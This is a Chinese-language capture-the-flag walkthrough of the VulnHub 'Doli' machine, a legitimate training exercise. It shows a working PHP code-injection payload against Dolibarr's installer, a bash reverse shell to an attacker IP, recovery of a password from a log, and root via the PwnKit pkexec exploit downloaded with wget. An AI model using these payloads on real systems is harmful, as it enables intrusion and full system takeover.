2026-06-19

doli：1

博客原地址：https://www.cnblogs.com/hirak0/articles/18116116

项目地址：https://download.vulnhub.com/doli/doli-vulnhub-fixed.ova（环境有问题）

是一个打包好的镜像文件

注意：导入 vmx 时一定要选择我已移动，否则没网

使用 Nmap 扫描出开放服务及操作系统版本

┌──(root㉿MYsec)-[/home/hirak0/Vulhub/105]
└─# nmap -A -sV -T4 -p- 192.168.10.152
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-05 15:53 CST
Nmap scan report for 192.168.10.152 (192.168.10.152)
Host is up (0.00042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 08:01:98:54:d9:60:7a:38:26:85:f2:aa:96:b1:56:c5 (RSA)
|   256 c3:83:dd:93:bc:b6:c8:6d:f5:17:00:b3:50:c4:cb:08 (ECDSA)
|_  256 72:ed:e9:d3:03:d6:3d:6a:ea:24:ad:07:07:cc:0f:79 (ED25519)
80/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: nginx/1.10.3 (Ubuntu)
MAC Address: 00:0C:29:A4:DB:F7 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.42 ms 192.168.10.152 (192.168.10.152)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.38 seconds

RCE

Dolibarr ERP/CRM 7.0.3（CVE-2018-25357）

访问 80 端口啥也没有

将 doli.thm 加进 hosts 文件里，使用 BurpSuite 爆破出子域名 erp.doli.thm

目录扫描

┌──(root㉿MYsec)-[/home/hirak0/Vulhub/105]
└─# gobuster dir -u http://erp.doli.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x txt,php,html,conf,md
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://erp.doli.thm
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,conf,txt,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/security.txt         (Status: 200) [Size: 162]
/document.php         (Status: 200) [Size: 6961]
/robots.txt           (Status: 200) [Size: 55]
/Stewie.php           (Status: 200) [Size: 7017]
/notes.md             (Status: 200) [Size: 310]
Progress: 1102800 / 1102805 (100.00%)
===============================================================
Finished
===============================================================

访问 document.php 文件是登录页面

下面是文件内容

User-agent: *
Allow: /index.php
#Allow: /$
Disallow: /

# Security policies of Stewie's Deadly Project 
Contact: mailto:stewie@doli.thm
Preferred-Languages: en
Policy: No Policy 
Expires: Sat, 31 Dec 2050 00:00:00 GMT

# ChangeLog
- Changed The Super-Admin Password To A Super Secure Random 15 Chars Passwd (Done)
- Crypt Saved Passwords Locally
- Add Firewall Rules And Allow Only UDP Incoming-Outcoming At Port 9110
- Add a lockfile (To do)
- Revert The Framework's Patch From 7.0.X To Prevent Conflitions With The Mod (To do)

根据靶机提示 ERP/CRM 与靶机名 doli 聚合搜索一下看

Kali 本地搜索 7.0.x 版本的漏洞

1 2	Dolibarr ERP/CRM 7.0.0 - (Authenticated) SQL Injection \| php/webapps/44805.txt Dolibarr ERP/CRM < 7.0.3 - PHP Code Injection \| php/webapps/44964.txt

这里我们使用第二个直接拿 Shell，其核心原因在于 Dolibarr 在安装过程中对用户输入过滤不严格，导致攻击者可以注入恶意PHP代码

访问 http://erp.doli.thm/install/Seth.php?testget=ok

这里得先把 Kali 中的 MySQL 启用，在配置一下远程访问

然后再去配置一下 doli

点击下一步时开启抓包

修改 db_name 参数里面的值

1	db_name=x%5C%27%3Bsystem(%24_GET%5Bcmd%5D)%3B%2F%2F

Payload 解码就是 x\';system($_GET[cmd]);//

Send 后响应内容如图所示则说明注入成功了

现在我们再访问一下 http://erp.doli.thm/install/Brian.php 会发现自动跳转到 http://erp.doli.thm/install/Seth.php?testget=ok

做一下命令执行看看

直接反弹 Shell

1	http://erp.doli.thm/install/Seth.php?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/192.168.10.148/6666+0%3E%261%27

提权

Python 升级为交互式 Shell

1	python -c 'import pty;pty.spawn("/bin/bash")'

敏感信息泄露

OPT 目录中有一个图片

1
2
3

www-data@Doli:/opt$ ls
ls
ViewMe.png  playbooks  secrets  stewie.el

下载下来提示是 Cirix 编码

在 Nginx 的日志文件中发现一个特殊请求

www-data@Doli:/var/log/nginx/.bk$ ls -al
ls -al
total 180
drwxr-xr-x 2 www-data www-data   4096 Mar 22  2021 .
drwxr-xr-x 3 root     adm        4096 Mar 22  2021 ..
-rw-r----- 1 www-data www-data 175190 Mar 21  2021 access.log.bk

172.16.1.1 - - [20/Mar/2021:13:03:38 +0000] "GET /5455644852464247526b464a526b4e4254455a435155314752304651516b5a4653554e4453464243526b564a52304e45544564435245314652304a4c5155464754304646526b74425155593d HTTP/1.1" 403 152 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"

解密成功拿到密码

提权成功

┌──(root㉿MYsec)-[/home/hirak0/Vulhub/105]
└─# ssh c3p0@192.168.10.152
The authenticity of host '192.168.10.152 (192.168.10.152)' can't be established.
ED25519 key fingerprint is SHA256:tExKwJAuI2dx2w3YX6+RTB2QHCBdzfKrVfkvY8Es2Ok.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.10.152' (ED25519) to the list of known hosts.
c3p0@192.168.10.152's password: 
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

34 packages can be updated.
2 of these updates are security updates.
To see these additional updates run: apt list --upgradable

New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


*** System restart required ***
Welcome To Doli (Stewie's Deadly Project)
Last login: Thu Jul 29 13:03:51 2021 from 172.16.118.2
c3p0@Doli:~$

PwnKit（CVE-2021-4034）

将脚本上传至靶机即可

漏洞根源是 pkexec 在处理命令行参数时的一个逻辑缺陷

参数与环境的特殊布局：在 Linux 中，通过 execve() 系统调用执行程序时，命令行参数（argv）和环境变量（envp）在内存中是连续存放的
漏洞触发条件：正常情况下，执行程序的 argc（参数个数）至少为 1（即程序本身）。但如果攻击者调用 execve() 时，将参数数组 argv 设置为空，那么 argc 就为 0
错误的参数读取：有漏洞的 pkexec 在处理 argc=0 的情况时，会错误地尝试从 argv[0]（一个不存在的参数）读取数据
越界读取与利用：由于内存布局连续，argv[0] 的位置实际上指向了第一个环境变量（envp[0]）的内容。pkexec 会把环境变量的值误当作命令来执行
“偷梁换柱”：攻击者只需精心构造环境变量，使其内容指向一个由他们控制的、恶意代码组成的共享库。pkexec 在运行时，就会”上当”去执行这个环境变量”指示”的命令，从而加载并运行攻击者的恶意代码

c3p0@Doli:~$ wget http://192.168.10.148:8888/CVE-2021-4034.py
--2024-04-05 19:41:54--  http://192.168.10.148:8888/CVE-2021-4034.py
Connecting to 192.168.10.148:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3262 (3.2K) [text/x-python]
Saving to: ‘CVE-2021-4034.py’

CVE-2021-4034.py          100%[===================================>]   3.19K  --.-KB/s    in 0s      

2024-04-05 19:41:54 (325 MB/s) - ‘CVE-2021-4034.py’ saved [3262/3262]

c3p0@Doli:~$ python3 CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(c3p0) groups=1000(c3p0)
# ls
CVE-2021-4034.py  GCONV_PATH=.  exploit  note.txt  payload.so  tnakt.jpg
# cd /root
# ls
root.txt  upload.sh
# cat root.txt
# Congratulations U Have Successfully Completed This Machine 
8acc13af5d191ee0874fb7c198dd6aab